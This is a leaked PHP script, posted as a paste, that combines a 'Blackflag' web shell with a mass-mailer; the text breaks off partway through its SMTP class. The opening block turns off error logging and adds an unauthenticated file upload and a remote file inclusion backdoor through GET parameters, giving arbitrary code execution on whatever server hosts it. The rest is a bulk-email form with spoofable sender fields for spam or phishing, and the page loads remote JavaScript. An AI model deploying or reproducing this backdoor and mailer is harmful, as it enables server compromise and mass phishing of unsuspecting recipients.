· 8 years ago · Oct 18, 2017, 08:42 AM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?php
4@session_start();
5@error_reporting(0);
6@ini_set('error_log',NULL);
7@ini_set('log_errors',0);
8@ini_set('max_execution_time',0);
9@ini_set('display_errors', 0);
10@ini_set('output_buffering',0);
11@set_time_limit(0);
12@set_magic_quotes_runtime(0);
13
14?>
15<html>
16<title>Blackflag</title>
17<body>
18
19<?php
20
21# Upload
22$UP = $_GET['up'];
23if(isset($UP) && !empty($UP)){
24echo"".$_FILES['userfile']."";
25$uploaddir = './';
26$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
27if ( isset($_FILES["userfile"]) ) {
28 echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
29 if (move_uploaded_file
30($_FILES["userfile"]["tmp_name"], $uploadfile))
31echo $uploadfile;
32 else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
33}
34
35}
36# ===================================================== #
37# RFI
38$in = $_GET['in'];
39if(isset($in) && !empty($in)){
40 echo die(include_once $in);
41}
42# ===================================================== #
43function query_str($params){
44$str = '';
45foreach ($params as $key => $value) {
46$str .= (strlen($str) < 1) ? '' : '&';
47$str .= $key . '=' . rawurlencode($value);
48}
49return ($str);
50}
51function lrtrim($string){
52return stripslashes(ltrim(rtrim($string)));
53}
54
55if(isset($_POST['action'] ) ){
56
57$b = query_str($_POST);
58parse_str($b);
59$sslclick=lrtrim($sslclick);
60$action=lrtrim($action);
61$message=lrtrim($message);
62$emaillist=lrtrim($emaillist);
63$from=lrtrim($from);
64$reconnect=lrtrim($reconnect);
65$epriority=lrtrim($epriority);
66$my_smtp=lrtrim($my_smtp);
67$ssl_port=lrtrim($ssl_port);
68$smtp_username=lrtrim($smtp_username);
69$smtp_password=lrtrim($smtp_password);
70$replyto=lrtrim($replyto);
71$subject=lrtrim($subject);
72$realname=lrtrim($realname);
73$subject_base=lrtrim($subject);
74$realname_base=lrtrim($realname);
75$file_name=lrtrim($file);
76$urlz=lrtrim($urlz);
77$contenttype=lrtrim($contenttype);
78$encode_text=$_POST['encode'];
79
80 $message = urlencode($message);
81 $message = ereg_replace("%5C%22", "%22", $message);
82 $message = urldecode($message);
83 $message = stripslashes($message);
84 $subject = stripslashes($subject);
85 if ($encode_text == "yes") {
86 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
87 $subject = str_replace(' ', '_', $subject);
88 $subject = "=?UTF-8?Q?$subject?=";
89 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
90 $realname = str_replace(' ', '_', $realname);
91 $realname = "=?UTF-8?Q?$realname?=";
92 }
93}
94?>
95<html>
96
97<head>
98<title>PHP Mailer</title>
99<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
100
101<style type="text/css">
102<!--
103.style1 {
104 font-family: Geneva, Arial, Helvetica, sans-serif;
105 font-size: 12px;
106}
107-->
108</style>
109<style type="text/css">
110<!--
111.style1 {
112 font-size: 10px;
113 font-family: Geneva, Arial, Helvetica, sans-serif;
114}
115}
116textarea {
117 padding: 5px;
118 font-size: 15px;
119 text-shadow: 0px 1px 0px #fff;
120 outline: none;
121 -webkit-border-radius: 3px;
122 -moz-border-radius: 3px;
123 border-radius: 3px;
124 border: 1px solid #ccc;
125 -webkit-transition: .3s ease-in-out;
126 -moz-transition: .3s ease-in-out;
127}
128
129 textarea:focus {
130 border: 1px solid #fafafa;
131 -webkit-box-shadow: 0px 0px 20px #007eff;
132 -moz-box-shadow: 0px 0px 15px #007eff;
133 box-shadow: 0px 0px 15px #007eff;
134 }
135 .ta5 {
136 border: 2px solid #765942;
137 border-radius: 10px;
138 height: 60px;
139 width: 230px;
140}
141-->
142</style>
143<style type="text/css">
144 .htnl_tbl
145 {
146 margin: 10px;
147 -moz-border-radius: 10px; /* Firefox */
148 -webkit-border-radius: 10px; /* Safari & Chrome */
149 -khtml-border-radius: 10px; /* Linux browsers */
150 border-radius: 10px; /* CSS3 compatible browsers */
151 border-style: solid;
152 border-width: 1px;
153 border-color: #4198d9;
154 padding: 0px;
155 border-spacing: 0px;
156 overflow: hidden;
157 background: #abcdef; /* Old browsers */
158 background: -moz-linear-gradient(top, #34a8ff 0%, #8bcbfb 100%); /* FF3.6+ */
159 background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#eeeeee), color-stop(100%,#cccccc)); /* Chrome,Safari4+ */
160 background: -webkit-linear-gradient(top, #34a8ff 0%,#8bcbfb 100%); /* Chrome10+,Safari5.1+ */
161 background: -o-linear-gradient(top, #34a8ff 0%,#8bcbfb 100%); /* Opera 11.10+ */
162 background: -ms-linear-gradient(top, #34a8ff 0%,#8bcbfb 100%); /* IE10+ */
163 background: linear-gradient(to bottom, #34a8ff 0%,#8bcbfb 100%); /* W3C */
164 filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#eeeeee', endColorstr='#cccccc',GradientType=0 ); /* IE6-9 */
165 }
166 </style>
167<style type="text/css">
168.raouf
169{
170-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"; /* IE 8 */
171filter: alpha(opacity=70); /* IE 5-7 */
172-moz-opacity: 0.7; /* Netscape */
173-khtml-opacity: 0.7; /* Safari 1.x */
174opacity: 0.7; /* Good browsers */
175}
176</style>
177</head>
178<SCRIPT SRC='http://www.blackflag.pro/JavaScript/Style.js'></SCRIPT>
179<body background="http://www.shy22.com/upfilpng/xxd94598.png">
180<p align="center"><img border="0" src="http://www.shy22.com/upfilpng/mk395353.png"></p>
181<body text="#3b88c1">
182<style type="text/css">
183</style>
184
185<form name="form1" method="post" action="" enctype="multipart/form-data">
186
187 <br>
188
189
190 <table class="htnl_tbl" border="5" bordercolor="#30a6ff" bordercolorlight="#4eb3ff" bordercolordark="#400080" bgcolor="#ffffcc" width="97%" height="407">
191
192 <tr>
193
194 <td width="100%" colspan="4" bgcolor="#666666" height="36">
195
196 <b>
197
198 <font face="Arial" size="2" color="#6fdbee"> SERVER SETUP</font></b></td>
199
200 </tr>
201 <tr>
202
203 <td width="10%" height="22" bgcolor="#c7d6d6">
204
205 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
206 SMTP Login:</font></div>
207
208 </td>
209
210 <td width="18%" height="22" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
211
212 <input class="raouf" type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
213
214 </font></td>
215
216 <td width="31%" height="22" bgcolor="#c7d6d6">
217
218 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
219 SMTP Pass:</font></div>
220
221 </td>
222
223 <td width="41%" height="22" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
224
225 <input class="raouf" type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
226
227 </font></td>
228
229 </tr>
230 <tr>
231
232 <td width="10%" height="22" bgcolor="#c7d6d6">
233
234 <div align="right">
235 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
236
237 </td>
238
239 <td width="18%" height="22" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
240
241 <input class="raouf" type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
242 (optional)</font></td>
243
244 <td width="31%" height="22" bgcolor="#c7d6d6">
245
246 <div align="right">
247 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
248 Server Smtp:</font></div>
249
250 </td>
251
252 <td width="41%" height="22" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
253
254 <input class="raouf" type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
255
256 </font></td>
257
258 </tr>
259 <tr>
260
261 <td width="10%" height="22" bgcolor="#c7d6d6">
262
263 <p align="right">
264 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
265
266 <td width="18%" height="22" bgcolor="#c7d6d6">
267 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
268
269 <td width="31%" height="22" bgcolor="#c7d6d6">
270 <div id="img"><img ... /></div>
271
272 <p align="right">
273 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
274 After:</font></td>
275
276 <td width="41%" height="22" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
277
278 <input class="raouf" type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
279 EMAILS</font></td>
280
281 </tr>
282 <tr>
283
284 <td width="100%" height="39" bgcolor="#c7d6d6" colspan="4">
285
286 <p align="center">
287 <font face="Arial" style="font-size: 9pt" color="#3e8bc5"><b>"</b> If
288 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
289
290 </tr>
291
292 <tr>
293
294 <td background="http://www.shy22.com/upfilpng/ctr04638.png" width="10%" height="19">
295
296 </td>
297
298 <td background="http://www.shy22.com/upfilpng/ctr04638.png" color="#fffff" width="18%" height="19"> </td>
299
300 <td background="http://www.shy22.com/upfilpng/ctr04638.png" width="31%" height="19">
301
302 </td>
303
304 <td background="http://www.shy22.com/upfilpng/ctr04638.png" width="41%" height="19"> </td>
305
306 </tr>
307
308 <tr>
309
310 <td width="100%" colspan="4" bgcolor="#666666" height="36">
311
312 <b>
313
314 <font face="Arial" size="2" color="#6fdbee"> MESSAGE SETUP</font></b></td>
315
316 </tr>
317
318 <tr>
319
320 <td width="10%" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6">
321
322 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
323 Your Email:</font></div>
324
325 </td>
326
327 <td width="18%" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
328
329 <input class="raouf" bgcolor="#d2f3e9" type="text" name="from" value="<?=$from;?>" size="30">
330
331 </font></td>
332
333 <td width="31%" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6">
334
335 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
336 Your Name:</font></div>
337
338 </td>
339
340 <td width="41%" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
341
342 <input class="raouf" type="text" name="realname" value="<?=$realname_base;?>" size="30">
343
344 </font></td>
345
346 </tr>
347 <tr>
348
349 <td width="10%" height="22" bgcolor="#c7d6d6" bordercolor="#c7d6d6">
350
351 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
352 Reply-To:</font></div>
353
354 </td>
355
356 <td width="18%" height="22" bgcolor="#c7d6d6" bordercolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
357
358 <input class="raouf" type="text" name="replyto" value="<?=$replyto;?>" size="60">
359
360 </font></td>
361
362 <td width="31%" height="22" bgcolor="#c7d6d6" bordercolor="#c7d6d6">
363
364 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
365 Email Priority:</font></td>
366
367 <td width="41%" height="22" bgcolor="#c7d6d6" bordercolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
368
369 </font><select class="raouf" name="epriority" id="listMethod" onchange="showHideListConfig()">
370 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
371 Please Choose -</option>
372 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
373 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
374 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
375 </select></td>
376
377 </tr>
378
379 <tr>
380
381 <td width="10%" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6">
382
383 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
384 Subject:</font></div>
385
386 </td>
387
388 <td colspan="3" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
389
390 <input class="raouf" type="text" name="subject" value="<?=$subject_base;?>" size="90">
391
392 </font></td>
393
394 </tr>
395
396 <tr>
397
398 <td width="10%" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6">
399
400 </td>
401
402 <td colspan="3" height="22" bordercolor="#c7d6d6" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
403
404 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
405 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
406 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
407 </select></font></td>
408
409 </tr>
410
411 <tr valign="top">
412
413<td colspan="3" height="190" bordercolor="#c7d6d6" bgcolor="#c7d6d6"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
414
415 <textarea class="raouf" name="message" cols="60" rows="10"><?=$message;?></textarea>
416
417 <br>
418
419 <input type="radio" name="contenttype" value="plain" >
420
421 Plain
422
423 <input type="radio" name="contenttype" value="html" checked>
424
425 HTML
426
427 <input type="hidden" name="action" value="send">
428
429 <input color="#4198d9" type="submit" value="Send Message">
430
431 </font></td>
432
433 <td width="41%" height="190" bordercolor="#c7d6d6" bgcolor="#c7d6d6"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
434
435 <textarea class="raouf" name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
436
437 </font></td>
438
439 </tr>
440
441 </table>
442
443</form>
444
445</form>
446
447
448
449<?
450
451if ($action){
452 if (!$from && !$subject && !$message && !$emaillist){
453 print "<script>alert('Please complete all fields before sending your message.'); </script>";
454 die(); }
455
456class SMTP
457{
458 /**
459 * SMTP server port
460 * @var int
461 */
462 var $SMTP_PORT = 25;
463
464 /**
465 * SMTP reply line ending
466 * @var string
467 */
468 var $CRLF = "\r\n";
469
470 /**
471 * Sets whether debugging is turned on
472 * @var bool
473 */
474 var $do_debug; # the level of debug to perform
475
476 /**
477 * Sets VERP use on/off (default is off)
478 * @var bool
479 */
480 var $do_verp = false;
481
482 /**#@+
483 * @access private
484 */
485 var $smtp_conn; # the socket to the server
486 var $error; # error if any on the last call
487 var $helo_rply; # the reply the server sent to us for HELO
488 /**#@-*/
489
490 /**
491 * Initialize the class so that the data is in a known state.
492 * @access public
493 * @return void
494 */
495 function SMTP() {
496 $this->smtp_conn = 0;
497 $this->error = null;
498 $this->helo_rply = null;
499
500 $this->do_debug = 0;
501 }
502
503 /*************************************************************
504 * CONNECTION FUNCTIONS *
505 ***********************************************************/
506
507 /**
508 * Connect to the server specified on the port specified.
509 * If the port is not specified use the default SMTP_PORT.
510 * If tval is specified then a connection will try and be
511 * established with the server for that number of seconds.
512 * If tval is not specified the default is 30 seconds to
513 * try on the connection.
514 *
515 * SMTP CODE SUCCESS: 220
516 * SMTP CODE FAILURE: 421
517 * @access public
518 * @return bool
519 */
520 function Connect($host,$port=0,$tval=30) {
521 # set the error val to null so there is no confusion
522 $this->error = null;
523
524 # make sure we are __not__ connected
525 if($this->connected()) {
526 # ok we are connected! what should we do?
527 # for now we will just give an error saying we
528 # are already connected
529 $this->error = array("error" => "Already connected to a server");
530 return false;
531 }
532
533 if(empty($port)) {
534 $port = $this->SMTP_PORT;
535 }
536
537 #connect to the smtp server
538 $this->smtp_conn = fsockopen($host, # the host of the server
539 $port, # the port to use
540 $errno, # error number if any
541 $errstr, # error message if any
542 $tval); # give up after ? secs
543 # verify we connected properly
544 if(empty($this->smtp_conn)) {
545 $this->error = array("error" => "Failed to connect to server",
546 "errno" => $errno,
547 "errstr" => $errstr);
548 if($this->do_debug >= 1) {
549 echo "SMTP -> ERROR: " . $this->error["error"] .
550 ": $errstr ($errno)" . $this->CRLF;
551 }
552 return false;
553 }
554
555 # sometimes the SMTP server takes a little longer to respond
556 # so we will give it a longer timeout for the first read
557 // Windows still does not have support for this timeout function
558 if(substr(PHP_OS, 0, 3) != "WIN")
559 socket_set_timeout($this->smtp_conn, $tval, 0);
560
561 # get any announcement stuff
562 $announce = $this->get_lines();
563
564 # set the timeout of any socket functions at 1/10 of a second
565 //if(function_exists("socket_set_timeout"))
566 // socket_set_timeout($this->smtp_conn, 0, 100000);
567
568 if($this->do_debug >= 2) {
569 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
570 }
571
572 return true;
573 }
574
575 /**
576 * Performs SMTP authentication. Must be run after running the
577 * Hello() method. Returns true if successfully authenticated.
578 * @access public
579 * @return bool
580 */
581 function Authenticate($username, $password) {
582 // Start authentication
583 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
584
585 $rply = $this->get_lines();
586 $code = substr($rply,0,3);
587
588 if($code != 334) {
589 $this->error =
590 array("error" => "AUTH not accepted from server",
591 "smtp_code" => $code,
592 "smtp_msg" => substr($rply,4));
593 if($this->do_debug >= 1) {
594 echo "SMTP -> ERROR: " . $this->error["error"] .
595 ": " . $rply . $this->CRLF;
596 }
597 return false;
598 }
599
600 // Send encoded username
601 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
602
603 $rply = $this->get_lines();
604 $code = substr($rply,0,3);
605
606 if($code != 334) {
607 $this->error =
608 array("error" => "Username not accepted from server",
609 "smtp_code" => $code,
610 "smtp_msg" => substr($rply,4));
611 if($this->do_debug >= 1) {
612 echo "SMTP -> ERROR: " . $this->error["error"] .
613 ": " . $rply . $this->CRLF;
614 }
615 return false;
616 }
617
618 // Send encoded password
619 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
620
621 $rply = $this->get_lines();
622 $code = substr($rply,0,3);
623
624 if($code != 235) {
625 $this->error =
626 array("error" => "Password not accepted from server",
627 "smtp_code" => $code,
628 "smtp_msg" => substr($rply,4));
629 if($this->do_debug >= 1) {
630 echo "SMTP -> ERROR: " . $this->error["error"] .
631 ": " . $rply . $this->CRLF;
632 }
633 return false;
634 }
635
636 return true;
637 }
638
639 /**
640 * Returns true if connected to a server otherwise false
641 * @access private
642 * @return bool
643 */
644 function Connected() {
645 if(!empty($this->smtp_conn)) {
646 $sock_status = socket_get_status($this->smtp_conn);
647 if($sock_status["eof"]) {
648 # hmm this is an odd situation... the socket is
649 # valid but we are not connected anymore
650 if($this->do_debug >= 1) {
651 echo "SMTP -> NOTICE:" . $this->CRLF .
652 "EOF caught while checking if connected";
653 }
654 $this->Close();
655 return false;
656 }
657 return true; # everything looks good
658 }
659 return false;
660 }
661
662 /**
663 * Closes the socket and cleans up the state of the class.
664 * It is not considered good to use this function without
665 * first trying to use QUIT.
666 * @access public
667 * @return void
668 */
669 function Close() {
670 $this->error = null; # so there is no confusion
671 $this->helo_rply = null;
672 if(!empty($this->smtp_conn)) {
673 # close the connection and cleanup
674 fclose($this->smtp_conn);
675 $this->smtp_conn = 0;
676 }
677 }
678
679 /***************************************************************
680 * SMTP COMMANDS *
681 *************************************************************/
682
683 /**
684 * Issues a data command and sends the msg_data to the server
685 * finializing the mail transaction. $msg_data is the message
686 * that is to be send with the headers. Each header needs to be
687 * on a single line followed by a <CRLF> with the message headers
688 * and the message body being seperated by and additional <CRLF>.
689 *
690 * Implements rfc 821: DATA <CRLF>
691 *
692 * SMTP CODE INTERMEDIATE: 354
693 * [data]
694 * <CRLF>.<CRLF>
695 * SMTP CODE SUCCESS: 250
696 * SMTP CODE FAILURE: 552,554,451,452
697 * SMTP CODE FAILURE: 451,554
698 * SMTP CODE ERROR : 500,501,503,421
699 * @access public
700 * @return bool
701 */
702 function Data($msg_data) {
703 $this->error = null; # so no confusion is caused
704
705 if(!$this->connected()) {
706 $this->error = array(
707 "error" => "Called Data() without being connected");
708 return false;
709 }
710
711 fputs($this->smtp_conn,"DATA" . $this->CRLF);
712
713 $rply = $this->get_lines();
714 $code = substr($rply,0,3);
715
716 if($this->do_debug >= 2) {
717 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
718 }
719
720 if($code != 354) {
721 $this->error =
722 array("error" => "DATA command not accepted from server",
723 "smtp_code" => $code,
724 "smtp_msg" => substr($rply,4));
725 if($this->do_debug >= 1) {
726 echo "SMTP -> ERROR: " . $this->error["error"] .
727 ": " . $rply . $this->CRLF;
728 }
729 return false;
730 }
731
732 # the server is ready to accept data!
733 # according to rfc 821 we should not send more than 1000
734 # including the CRLF
735 # characters on a single line so we will break the data up
736 # into lines by \r and/or \n then if needed we will break
737 # each of those into smaller lines to fit within the limit.
738 # in addition we will be looking for lines that start with
739 # a period '.' and append and additional period '.' to that
740 # line. NOTE: this does not count towards are limit.
741
742 # normalize the line breaks so we know the explode works
743 $msg_data = str_replace("\r\n","\n",$msg_data);
744 $msg_data = str_replace("\r","\n",$msg_data);
745 $lines = explode("\n",$msg_data);
746
747 # we need to find a good way to determine is headers are
748 # in the msg_data or if it is a straight msg body
749 # currently I am assuming rfc 822 definitions of msg headers
750 # and if the first field of the first line (':' sperated)
751 # does not contain a space then it _should_ be a header
752 # and we can process all lines before a blank "" line as
753 # headers.
754 $field = substr($lines[0],0,strpos($lines[0],":"));
755 $in_headers = false;
756 if(!empty($field) && !strstr($field," ")) {
757 $in_headers = true;
758 }
759
760 $max_line_length = 998; # used below; set here for ease in change
761
762 while(list(,$line) = @each($lines)) {
763 $lines_out = null;
764 if($line == "" && $in_headers) {
765 $in_headers = false;
766 }
767 # ok we need to break this line up into several
768 # smaller lines
769 while(strlen($line) > $max_line_length) {
770 $pos = strrpos(substr($line,0,$max_line_length)," ");
771
772 # Patch to fix DOS attack
773 if(!$pos) {
774 $pos = $max_line_length - 1;
775 }
776
777 $lines_out[] = substr($line,0,$pos);
778 $line = substr($line,$pos + 1);
779 # if we are processing headers we need to
780 # add a LWSP-char to the front of the new line
781 # rfc 822 on long msg headers
782 if($in_headers) {
783 $line = "\t" . $line;
784 }
785 }
786 $lines_out[] = $line;
787
788 # now send the lines to the server
789 while(list(,$line_out) = @each($lines_out)) {
790 if(strlen($line_out) > 0)
791 {
792 if(substr($line_out, 0, 1) == ".") {
793 $line_out = "." . $line_out;
794 }
795 }
796 fputs($this->smtp_conn,$line_out . $this->CRLF);
797 }
798 }
799
800 # ok all the message data has been sent so lets get this
801 # over with aleady
802 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
803
804 $rply = $this->get_lines();
805 $code = substr($rply,0,3);
806
807 if($this->do_debug >= 2) {
808 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
809 }
810
811 if($code != 250) {
812 $this->error =
813 array("error" => "DATA not accepted from server",
814 "smtp_code" => $code,
815 "smtp_msg" => substr($rply,4));
816 if($this->do_debug >= 1) {
817 echo "SMTP -> ERROR: " . $this->error["error"] .
818 ": " . $rply . $this->CRLF;
819 }
820 return false;
821 }
822 return true;
823 }
824
825 /**
826 * Expand takes the name and asks the server to list all the
827 * people who are members of the _list_. Expand will return
828 * back and array of the result or false if an error occurs.
829 * Each value in the array returned has the format of:
830 * [ <full-name> <sp> ] <path>
831 * The definition of <path> is defined in rfc 821
832 *
833 * Implements rfc 821: EXPN <SP> <string> <CRLF>
834 *
835 * SMTP CODE SUCCESS: 250
836 * SMTP CODE FAILURE: 550
837 * SMTP CODE ERROR : 500,501,502,504,421
838 * @access public
839 * @return string array
840 */
841 function Expand($name) {
842 $this->error = null; # so no confusion is caused
843
844 if(!$this->connected()) {
845 $this->error = array(
846 "error" => "Called Expand() without being connected");
847 return false;
848 }
849
850 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
851
852 $rply = $this->get_lines();
853 $code = substr($rply,0,3);
854
855 if($this->do_debug >= 2) {
856 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
857 }
858
859 if($code != 250) {
860 $this->error =
861 array("error" => "EXPN not accepted from server",
862 "smtp_code" => $code,
863 "smtp_msg" => substr($rply,4));
864 if($this->do_debug >= 1) {
865 echo "SMTP -> ERROR: " . $this->error["error"] .
866 ": " . $rply . $this->CRLF;
867 }
868 return false;
869 }
870
871 # parse the reply and place in our array to return to user
872 $entries = explode($this->CRLF,$rply);
873 while(list(,$l) = @each($entries)) {
874 $list[] = substr($l,4);
875 }
876
877 return $list;
878 }
879
880 /**
881 * Sends the HELO command to the smtp server.
882 * This makes sure that we and the server are in
883 * the same known state.
884 *
885 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
886 *
887 * SMTP CODE SUCCESS: 250
888 * SMTP CODE ERROR : 500, 501, 504, 421
889 * @access public
890 * @return bool
891 */
892 function Hello($host="") {
893 $this->error = null; # so no confusion is caused
894
895 if(!$this->connected()) {
896 $this->error = array(
897 "error" => "Called Hello() without being connected");
898 return false;
899 }
900
901 # if a hostname for the HELO was not specified determine
902 # a suitable one to send
903 if(empty($host)) {
904 # we need to determine some sort of appopiate default
905 # to send to the server
906 $host = "localhost";
907 }
908
909 // Send extended hello first (RFC 2821)
910 if(!$this->SendHello("EHLO", $host))
911 {
912 if(!$this->SendHello("HELO", $host))
913 return false;
914 }
915
916 return true;
917 }
918
919 /**
920 * Sends a HELO/EHLO command.
921 * @access private
922 * @return bool
923 */
924 function SendHello($hello, $host) {
925 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
926
927 $rply = $this->get_lines();
928 $code = substr($rply,0,3);
929
930 if($this->do_debug >= 2) {
931 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
932 }
933
934 if($code != 250) {
935 $this->error =
936 array("error" => $hello . " not accepted from server",
937 "smtp_code" => $code,
938 "smtp_msg" => substr($rply,4));
939 if($this->do_debug >= 1) {
940 echo "SMTP -> ERROR: " . $this->error["error"] .
941 ": " . $rply . $this->CRLF;
942 }
943 return false;
944 }
945
946 $this->helo_rply = $rply;
947
948 return true;
949 }
950
951 /**
952 * Gets help information on the keyword specified. If the keyword
953 * is not specified then returns generic help, ussually contianing
954 * A list of keywords that help is available on. This function
955 * returns the results back to the user. It is up to the user to
956 * handle the returned data. If an error occurs then false is
957 * returned with $this->error set appropiately.
958 *
959 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
960 *
961 * SMTP CODE SUCCESS: 211,214
962 * SMTP CODE ERROR : 500,501,502,504,421
963 * @access public
964 * @return string
965 */
966 function Help($keyword="") {
967 $this->error = null; # to avoid confusion
968
969 if(!$this->connected()) {
970 $this->error = array(
971 "error" => "Called Help() without being connected");
972 return false;
973 }
974
975 $extra = "";
976 if(!empty($keyword)) {
977 $extra = " " . $keyword;
978 }
979
980 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
981
982 $rply = $this->get_lines();
983 $code = substr($rply,0,3);
984
985 if($this->do_debug >= 2) {
986 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
987 }
988
989 if($code != 211 && $code != 214) {
990 $this->error =
991 array("error" => "HELP not accepted from server",
992 "smtp_code" => $code,
993 "smtp_msg" => substr($rply,4));
994 if($this->do_debug >= 1) {
995 echo "SMTP -> ERROR: " . $this->error["error"] .
996 ": " . $rply . $this->CRLF;
997 }
998 return false;
999 }
1000
1001 return $rply;
1002 }
1003
1004 /**
1005 * Starts a mail transaction from the email address specified in
1006 * $from. Returns true if successful or false otherwise. If True
1007 * the mail transaction is started and then one or more Recipient
1008 * commands may be called followed by a Data command.
1009 *
1010 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1011 *
1012 * SMTP CODE SUCCESS: 250
1013 * SMTP CODE SUCCESS: 552,451,452
1014 * SMTP CODE SUCCESS: 500,501,421
1015 * @access public
1016 * @return bool
1017 */
1018 function Mail($from) {
1019 $this->error = null; # so no confusion is caused
1020
1021 if(!$this->connected()) {
1022 $this->error = array(
1023 "error" => "Called Mail() without being connected");
1024 return false;
1025 }
1026
1027 $useVerp = ($this->do_verp ? "XVERP" : "");
1028 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1029
1030 $rply = $this->get_lines();
1031 $code = substr($rply,0,3);
1032
1033 if($this->do_debug >= 2) {
1034 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1035 }
1036
1037 if($code != 250) {
1038 $this->error =
1039 array("error" => "MAIL not accepted from server",
1040 "smtp_code" => $code,
1041 "smtp_msg" => substr($rply,4));
1042 if($this->do_debug >= 1) {
1043 echo "SMTP -> ERROR: " . $this->error["error"] .
1044 ": " . $rply . $this->CRLF;
1045 }
1046 return false;
1047 }
1048 return true;
1049 }
1050
1051 /**
1052 * Sends the command NOOP to the SMTP server.
1053 *
1054 * Implements from rfc 821: NOOP <CRLF>
1055 *
1056 * SMTP CODE SUCCESS: 250
1057 * SMTP CODE ERROR : 500, 421
1058 * @access public
1059 * @return bool
1060 */
1061 function Noop() {
1062 $this->error = null; # so no confusion is caused
1063
1064 if(!$this->connected()) {
1065 $this->error = array(
1066 "error" => "Called Noop() without being connected");
1067 return false;
1068 }
1069
1070 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1071
1072 $rply = $this->get_lines();
1073 $code = substr($rply,0,3);
1074
1075 if($this->do_debug >= 2) {
1076 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1077 }
1078
1079 if($code != 250) {
1080 $this->error =
1081 array("error" => "NOOP not accepted from server",
1082 "smtp_code" => $code,
1083 "smtp_msg" => substr($rply,4));
1084 if($this->do_debug >= 1) {
1085 echo "SMTP -> ERROR: " . $this->error["error"] .
1086 ": " . $rply . $this->CRLF;
1087 }
1088 return false;
1089 }
1090 return true;
1091 }
1092
1093 /**
1094 * Sends the quit command to the server and then closes the socket
1095 * if there is no error or the $close_on_error argument is true.
1096 *
